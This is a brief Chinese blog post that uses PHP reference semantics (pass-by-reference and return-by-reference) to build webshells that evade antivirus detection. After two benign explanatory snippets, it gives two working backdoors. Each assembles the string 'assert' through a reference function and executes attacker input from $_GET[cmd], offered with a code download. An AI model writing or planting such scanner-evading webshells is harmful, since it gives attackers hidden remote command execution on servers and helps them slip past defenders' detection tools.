php中&引用免杀webshell
1 minute read
0x00 php中的&
1.函数的参数引用
<?php
function test(&$a){
$a=$a+100;
}
$b=1;
echo $b;//输出1
test($b); //这里$b传递给函数的其实是$b的变量内容所处的内存地址,通过在函数里改变$a的值就可以改变$b的值了
echo "<br>";
echo $b;//输出101
?>
2.函数的返回引用
<?php
function &test()
{
static $b=0;//申明一个静态变量
$b=$b+1;
echo $b;
return $b;
}
$a=test();//这条语句会输出$b的值为1
$a=5;
$a=test();//这条语句会输出$b的值为2
$a=&test();//这条语句会输出$b的值为3,这句相当于$a=&$b;
$a=5;
$a=test();//这条语句会输出$b的值为6
?>
理解参考:
http://www.cnblogs.com/thinksasa/p/3334492.html
0x01 Detail
a)利用函数的参数引用免杀
<?php
function foo(&$var)
{
$var=$var.'t';
}
$a="asser";
foo($a);
$a($_GET[cmd]);
b)利用函数的返回引用免杀
<?php
class talker{
public $data = 'Hi';
public function & get(){
return $this->data;
}
}
$aa = new talker();
$d = &$aa->get();
$d = $_GET[cmd];
function foo(&$var)
{
$var=$var.'t';
}
$a="asser";
foo($a);
$a($aa->data);
本文代码下载
download